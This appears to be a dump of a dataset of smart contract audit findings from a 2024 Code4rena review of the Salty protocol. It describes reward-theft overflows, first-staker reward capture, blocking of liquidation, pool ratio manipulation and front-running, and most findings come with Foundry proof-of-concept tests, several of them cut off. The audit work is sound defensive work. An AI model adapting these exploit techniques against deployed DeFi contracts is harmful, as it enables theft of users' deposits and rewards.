xanoutas/solidity-security-findings huggingface dataset:
Unsafe cast of virtualRewardsToAdd allows the attacker to steal rewards from other users.
Audit: 2024-01-salty-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L83


# Vulnerability details

When `_increaseUserShare()` is called the `virtualRewardsToAdd` is calculated like this:

```solidity
uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount,existingTotalShares);

user.virtualRewards += uint128(virtualRewardsToAdd);
```

`virtualRewardsToAdd` is then added to the `user.virtualRewards` but it is first casted to uint128. This can be easily overflowed and abused by an attacker. 

When a pool is whitelisted, a bit of bootstrapping rewards will likely already be in the pool before any liquidity is supplied. So for example:

1. The pool is created and 100 SALT tokens are transferred to the rewards before any liquidity is supplied
2. The attacker will then deposit 100 wei for both sides
3. Then from a different address he will deposit 350 tokens for both sides so the calculation of `virtualRewardsToAdd` will be :

100e18 * 700e18 / 200 = 3.5e38 which is bigger than type(uint128).max

This will make the number overflow and only a small amount of virtualRewards will be added to the user. After when other users deposit he will be able to steal their rewards, if this is the xSALT contract then he is even able to steal their deposits. 


## Impact

Incorrect amount of `virtualRewards` will be added to the attacker, this will allow him to steal rewards from other users or steal their deposit if its the xSALT contract. 

## Proof of Concept

Add this to `StakingRewards.t.sol`, as you can see, alice and the attacker should both get the same amount of rewards but because the attackers `virtualRewards` were not set, he will be able to steal from alice. 

```solidity
function testAttack() public {
        uint256 amount = 680564733841876926927;//Amount to make the virtualRewardsToAdd bigger than type(uint128).max
        address attacker1 = makeAddr("attacker1");
        address attacker2 = makeAddr("attacker2");

        AddedReward[] memory addedRewards = new AddedReward[](1);
        addedRewards[0] = AddedReward(poolIDs[0], 100 ether);
        stakingRewards.addSALTRewards(addedRewards);

        vm.prank(DEPLOYER);
        stakingRewards.externalIncreaseUserShare(attacker1,poolIDs[0],200,false);

        bytes32[] memory claimPools = new bytes32[](1);
        claimPools[0] = poolIDs[0];

        vm.prank(attacker1);
        stakingRewards.claimAllRewards(claimPools);

        vm.startPrank(DEPLOYER);

        stakingRewards.externalIncreaseUserShare(attacker2,poolIDs[0],amount, false);
        
        //Alice deposits so that her proportion is 50%
        stakingRewards.externalIncreaseUserShare(alice,poolIDs[0],680.5 ether,false);

        vm.stopPrank();

        addedRewards[0] = AddedReward(poolIDs[0], 100 ether);
        stakingRewards.addSALTRewards(addedRewards);

        
        vm.prank(DEPLOYER);

        stakingRewards.externalDecrea
The first staker can get all of the staking rewards 
Audit: 2024-01-salty-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/RewardsEmitter.sol#L82-L137


# Vulnerability details

## Impact
There are rewards distributed among all users that staked. It is assumed that the rewards would be sent when all of the users staked and will be distributed to each of the users depending on the amount they stake. After that, the users can get their reward with `claimAllRewards` or `unstake`. 

A problem arises because everyone can call the `performUpkeep` and send the rewards at any time. The first staker can call the `performUpkeep` immediately after his stake and all other stakes would be made after the rewards are sent which makes the first staker get all of the rewards.  
 
## Proof of Concept
Paste the following test inside `src/staking/tests/Staking.t.test`
```js
 function testOnlyTheFirstStakerGetsRewards() public {
        vm.prank(alice);
        staking.stakeSALT(50 ether); // Alice balance is 100 and stakes 50

        AddedReward[] memory addedRewards = new AddedReward[](3);
        addedRewards[0] = AddedReward(poolIDs[0], 150 ether);
        staking.addSALTRewards(addedRewards);

        vm.prank(bob);
        staking.stakeSALT(50 ether); // Bob balance is 100 and stakes 50
        vm.prank(charlie);
        staking.stakeSALT(50 ether); // Charlie balance is 100 and stakes 50

        assertEq(salt.balanceOf(alice), 50 ether);
        assertEq(salt.balanceOf(bob), 50 ether);
        assertEq(salt.balanceOf(charlie), 50 ether);

        // Unstake to see who gets what rewards
        // Since everyone staked 50 ether they should get an evenly distributed amount
        // 150 ether rewards / 3 stakers = 50 per staker
        vm.prank(alice);
        staking.unstake(50 ether, 52);
        vm.prank(bob);
        staking.unstake(50 ether, 52);
        vm.prank(charlie);
        staking.unstake(50 ether, 52);

        assertEq(salt.balanceOf(alice), 200 ether); // Alice balance increase since she gets all of the rewards
        assertEq(salt.balanceOf(bob), 50 ether); // Bob doesn't receive any rewards and his balance remains the same
        assertEq(salt.balanceOf(charlie), 50 ether); // Charlie doesn't receive any rewards and his balance remains the same
    }
```

## Tools Used
Manual Review

## Recommended Mitigation Steps
I'm not sure what would be the best fix for that problem


## Assessed type

Other
Because CollateralAndLiquidity#liquidateUser will take into account the cooldown, any user can prevent themselves from being liquidated
Audit: 2024-01-salty-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L104


# Vulnerability details

## Impact

Since there is a cooldown during liquidation, any user can update the `cooldownExpiration` by `depositCollateralAndIncreaseShare`, so that `CollateralAndLiquidity#liquidateUser` cannot function properly.

## Proof of Concept

`CollateralAndLiquidity#liquidateUser` is a function that can liquidate a position which has fallen under the minimum collateral ratio.

```
src/stable/CollateralAndLiquidity.sol

	// Liquidate a position which has fallen under the minimum collateral ratio.
	// A default 5% of the value of the collateral is sent to the caller, with the rest being sent to the Liquidator for later conversion to USDS which is then burned.
	function liquidateUser( address wallet ) external nonReentrant
		{
		require( wallet != msg.sender, "Cannot liquidate self" );

		// First, make sure that the user's collateral ratio is below the required level
		require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

		uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );

		// Withdraw the liquidated collateral from the liquidity pool.
		// The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
		(uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );

		// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
        // [Found] 
		_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );

        ...

		emit Liquidation(msg.sender, wallet, reclaimedWBTC, reclaimedWETH, originallyBorrowedUSDS);
		}


	function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
		{
		require( decreaseShareAmount != 0, "Cannot decrease zero share" );

		UserShareInfo storage user = _userShareInfo[wallet][poolID];
		require( decreaseShareAmount <= user.userShare, "Cannot decrease more than existing user share" );

		if ( useCooldown )
		if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
			{
			require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

			// Update the cooldown expiration for future transactions
			user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
			}
         ...   
        }
```

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L104

since function `liquidateUser` s
Pools with tokens with different decimals and low liquidity can be manipulated
Audit: 2024-01-salty-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L178-L183


# Vulnerability details

## Summary

Pools with low liquidity and different decimals can be manipulated by withdrawing an amount that rounds down one of the `reclaimed` variables to 0.

## Vulnerability details

When removing liquidity from a pool a user has to specify `liquidityToRemove` and then it adjusts the reclaimed amounts depending on the ratio of the pool. This can be problematic if the tokens have different decimals as one of the reclaimed amounts can round down to 0. If that happens we only take out liquidity from the other token's reserve.
Let's look at an example to understand the issue:
1. A new pool is created and whitelisted - WBTC/DAI (WBTC has 8 decimals, DAI has 18 decimals)
2. Alice sees that and deposits 1WBTC and 10,000DAI (we are assuming that this is the ratio of the tokens 1:10,000)
3. Alice then withdraws almost all the liquidity but leaves `reserve` at 101 wei (this allows for easier manipulation)
4. After the withdraw the ratio is still 1:10,000 so now Alice withdraws just enough liquidity so that `reclaimedA = 0` and `reclaimedB!= 0`. This is calculated by this formula - `(totalLiquidity / reserve0) - 1`
5. After many withdraws like this, Alice can set the ratio to be completely wrong. Let's say she sets the ratio to be 1:2 meaning 1WTBC is worth 1DAI
6. As a result no one would want to deposit in that pool as they will lose almost all their value. Even if someone deposits liquidity Alice or anyone else can just swap the amount and it would result in a great loss for the depositer

This attack can be performed on pools that have multle owners as we are removing only from one of the reserves.

## Proof of Concept
Add this test in `2024-01-salty\src\pools\tests\Pools.t.sol`
Add this on top `import "forge-std/console.sol";`
To run the test: `COVERAGE="yes" NETWORK="sep" forge test --match-test testChangingRatioThroughWithdraw -vvv --rpc-url (your url)`

		function testChangingRatioThroughWithdraw() public {
			// Tokens are flipped meaning reserve0 will be secondToken amount
			// reserve1 will be first token
			// Lets say first token is DAI and second one is WBTC and assume a price ratio of 1:10,000
			TestERC20 firstToken = new TestERC20("Test", 18);
			TestERC20 secondToken = new TestERC20("Test", 8);

			secondToken.transfer(alice, 100 * 10 ** 8);
			firstToken.transfer(alice, 100000 ether);

			secondToken.transfer(bob, 100 * 10 ** 8);
			firstToken.transfer(bob, 100000 ether);

			vm.startPrank(alice);
			secondToken.approve(address(collateralAndLiquidity), 100 * 10 ** 8);
			firstToken.approve(address(collateralAndLiquidity), 100000 ether);
			vm.stopPrank();

			vm.startPrank(bob);
			secondToken.approve(address(collateralAndLiquidity), 100 * 10 ** 8);
			firstToken.approve(address(collateralAndLiquidity), 100000 ether);
			vm.stopPrank();

			vm.startPrank(address(dao));
			poolsConfig.whitelistPool(pools, sec
Price aggregator will not show precise price feed
Audit: 2024-01-salty-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/price_feed/PriceAggregator.sol#L108-L147


# Vulnerability details

## Impact
current implementation of price feed will not show precise price and there will be potential oracle price attack

## Proof of Concept
Protocol take average price feed from chainLInk,uniswap and  salt.chainlink price feed use VWAP-based pricing and uniswap use TWAP-based pricing .Protocol also use reserve pricing .And took average price from these three will not get best price and oracle price attack will be happened.

## Tools Used
manual view 
## Recommended Mitigation Steps
USE chainlink as main cause
Chainlink oracle is really great for preventing from the price manipulation but For some depegging events ,integrating on-chain liquidity-based oracle, such as UniV3 TWAP is great choice .By monitoring the price derived from the liquidity-based oracle and comparing it to the Chainlink oracle's price, borrowing activities can be halted if the threshold deviation is breached.

Double oracle set up can prevent from borrowing against a devalued asset and the accumulation of bad debt


## Assessed type

Context
Front-running first deposit in a pool with an imbalanced deposit allow attacker to drain the pool value
Audit: 2024-01-salty-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/Pools.sol#L140-L165


# Vulnerability details

## Vulnerability details
Salty is an AMM managed by a DAO. For a pool to be deployed, DAO must vote for the whitelisting of a tokens. Once the proposal is executed, a pool is created and users can start depositing their assets to the pool to receive shares tokens.
On the very first liquidity deposit into the pool, any ratio of token is accepted. But for next ones, the pool will automatically calculate how much of both tokens must be deposited to keep the ratio equal. Users just have to define the max amount of token0 and token1 they want to tdeposit, and protocol will comply with these limits.

This opens a grief vector where a honest user will try to deposit into a freshly created pool complying with the actual price/ratio of both tokens on open market, but will get front-run by an attacker depositing funds in a really imbalanced ratio.
The ratio being set by the attacker, the liquidity deposit of the honest user will be changed to comply with the ratio, forcing him to deposit a lot of higher priced tokens, and a very low value of lower priced tokens.

Then the attacker can swap into the pool and drain all the highly valued tokens.

## Impact
First honest depositor can be front-run and see all his deposit to the pool drained.

## Proof of Concept

Add this POC to `src/pools/tests/Pools.t.sol`
I've used big values to help the readability, here's the print-out:

```solidity
Running 1 test for src/pools/tests/Pools.t.sol:TestPools2
[PASS] test_auditImbalancedPool() (gas: 4320409)
Logs:

  ---- front-running liquidity deposit by attacker ----
  ---- the pool is completely imbalanced with ratio as 1 DAI = 100 WETH ----
  DAI reserves (wei): 101
  WETH reserves (wei): 10100

  ---- Alice try to deposit 300.000 DAI and 100 WETH as its the current price ----
  ---- but as she has been front-run, the pool rebalance her deposit to keep the initial ratio indentical ----
  (from here printed values are divided by 1e18 for better readability)
  Alice maxAmount specified: 300000 DAI, actual addedAmount: 1 DAI
  Alice maxAmount WETH specified: 100 WETH, actual addedAmount: 100 WETH
  DAI reserves: 1 DAI
  WETH reserves: 100 WETH

  ---- Attacker back-run Alice's deposit with a swap ----
  attacker swaping 100 DAI => amountOut = 99 WETH
  total profit in $ for the swap: 296929
  DAI reserves: 101 DAI
  WETH reserves: 0 WETH (dust)
```

Link to the gist: https://gist.github.com/InfectedIsm/02cc5ec7d4bd584edba8b59e0e4c3f1d

## Tools Used
Manual review

## Recommended Mitigation Steps

When finalizing token whitelisting, the DAO should make a first deposit with a roughly correct ratio to force the pool in a correct state.



## Assessed type

MEV
Integer Overflow in virtualRewardsToAdd Calculation
Audit: 2024-01-salty-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L83


# Vulnerability details

## Impact
The vulnerability exists in the following code segment within the `_increaseUserShare` function:
```solidity
uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount, existingTotalShares);
user.virtualRewards += uint128(virtualRewardsToAdd);
totalRewards[poolID] += uint128(virtualRewardsToAdd);
```
This segment is prone to an integer overflow. The multiplication `totalRewards[poolID] * increaseShareAmount` can produce a result larger than what `uint128` can hold (maximum value of \(2^{128} - 1\)), especially when `increaseShareAmount` is significantly larger than `existingTotalShares`. Upon overflow, `virtualRewardsToAdd` gets wrongly truncated to a `uint128`, leading to an incorrect, potentially much smaller value being added to `user.virtualRewards` and `totalRewards[poolID]`.

The overflow can result in an erroneous computation of virtual rewards, thereby allowing users like Bob in the provided Proof of Concept (POC) to unjustly claim a disproportionate share of the rewards. This not only leads to an unfair distribution of rewards but also poses a risk of depleting the reward pool, causing financial discrepancies and potentially undermining the integrity of the smart contract system.

## Proof of Concept
```javascript

    function testAttackAddDisproportionateLiq() public {
        // ------- SETUP TOKENS -------
        // ----------------------------
        vm.startPrank(address(alice));

        IERC20 token0 = new TestERC20_2("token0", 18);
        IERC20 token1 = new TestERC20_2("token1", 18);

        token0.transfer(address(bob), type(uint256).max/3);
        token1.transfer(address(bob), type(uint256).max/3);

        uint256 userBalance0 = token0.balanceOf( address(alice) );
        uint256 userBalance1 = token1.balanceOf( address(bob) );

        token0.approve(address(collateralAndLiquidity), type(uint256).max);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(address(bob));
        token0.approve(address(collateralAndLiquidity), type(uint256).max);
        token1.approve(address(collateralAndLiquidity), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(address(dao));
        poolsConfig.whitelistPool( pools,   token0, token1);
        bytes32 pool1 = PoolUtils._poolID(token0, token1);

        // ------ ADD REWARDS ------
        // -------------------------

        vm.startPrank(DEPLOYER);
        AddedReward[] memory rewards = new AddedReward[](1);
        rewards[0] = AddedReward({poolID: pool1, amountToAdd: 100*10**18});
        collateralAndLiquidity.addSALTRewards(rewards);
        vm.stopPrank();

        // ---- ADD SMALL LIQUIDITY RATIO ----
        // -----------------------------------

        vm.startPrank(alice);
        bytes32[] memory pools = new bytes32
Frontrunning of Rewards in Newly Populated Pools
Audit: 2024-01-salty-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L78-L85


# Vulnerability details

## Impact
The vulnerability arises due to the mechanism for calculating and distributing rewards in the context of newly created or newly emptied pools. In `_increaseUserShare()` within `StakingRewards.sol`, when a second user adds liquidity to a pool that has just become non-empty, the calculation of `virtualRewardsToAdd` disproportionately favors the first user who added liquidity. This is because the first user's `virtualRewards` remain at zero, enabling them to claim all the existing rewards in the pool, while subsequent users accrue `virtualRewards` that negate their share of these rewards.

```javascript
if ( existingTotalShares != 0 ) // prevent / 0
    {
    // Round up in favor of the protocol.
    uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

    user.virtualRewards += uint128(virtualRewardsToAdd);
    totalRewards[poolID] += uint128(virtualRewardsToAdd);
    }
```

**Flawed Reward Distribution Scenario**
1. **First User's Action**: The first user adds liquidity to an empty pool. Their `virtualRewards` remain at zero.
2. **Second User's Action**: A second user adds an equal amount of liquidity. The `increaseShareAmount/existingShares` ratio equals 1, making `virtualRewardsToAdd` equal to `totalRewards`.
3. **Reward Claim**: When both users go to decrease their shares and claim rewards:
   - The first user, having no `virtualRewards`, can claim all the rewards in the pool.
   - The second user, whose `virtualRewards` equal the `totalRewards`, essentially has their claimable rewards negated, leaving them with nothing.

This mechanism leads to a situation where the first user to add liquidity to an empty pool can benefit from the existing rewards, while subsequent users, are unable to claim any rewards. Although this is the intended purpose of `virtualRewards`, this will manifest in 'empty pool hunters' who can frontrun transactions with a minimal amount of liquidity in order to be the first provider.

This can also lead to accounting issues as the first user is not concerned with setting a proper ratio to the tokens and instead is more focused on initial SALT rewards.

Lastly, if a user somehow maintains full control over the pool (is the only user) they can time withdraws and reentry such that they continue getting emitted rewards to themselves by:

1) Seeing a reward is incoming from the `RewardEmitter.sol`
2) Withdrawing all shares rendering `existingTotalShares == 0` again
3) Letting the reward land into the now empty pool
4) Frontrunning and depositing a small amount of liquidity

## Proof of Concept
Suppose a newly created pool has 100 SALT deposited into it. Then, the first user will be able to provide a minimal amount of liquidity while claiming the entire reward, leaving none for the second user.

```javascript

    function testA